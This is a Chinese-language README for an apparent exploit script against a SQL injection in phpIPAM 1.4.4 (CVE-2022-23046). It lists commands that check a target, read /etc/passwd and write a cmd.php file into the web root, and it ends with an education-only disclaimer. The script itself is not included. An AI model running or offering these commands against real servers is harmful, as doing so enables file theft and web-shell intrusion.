CVE-2022-23046 phpIPAM 1.4.4 - SQL 注入

phpIPAM v1.4.4 允许已认证的管理员用户通过 app/admin/routing/edit-bgp-mapping-search.php 搜索子网时，在子网参数中注入 SQL 语句。该项目目前会输出数据库信息和主机版本信息。它还可以尝试读取文件并写入服务器。

开始入门

执行程序

• 检查是否存在漏洞。

python3 phpipam_1.4.4.py -t http://phpipam.com/ -u username -p password

• 测试文件读取

python3 phpipam_1.4.4.py -t http://phpipam.com/ -u username -p password -f /etc/passwd

• 测试文件写入

python3 phpipam_1.4.4.py -t http://phpipam.com/ -u username -p password -w /var/www/html/cmd.php

帮助

查看帮助菜单

python3 phpipam_1.4.4.py -h

致谢

• FluidAttacks

免责声明

本仓库中提供的所有代码仅用于教育/研究目的。与本仓库中所含材料相关的任何行为和/或活动均由您自行承担全部责任。滥用本仓库中的代码可能会导致相关人员被提起刑事指控。若任何个人滥用本仓库中的代码从事违法行为而被提起刑事指控，作者不承担任何责任。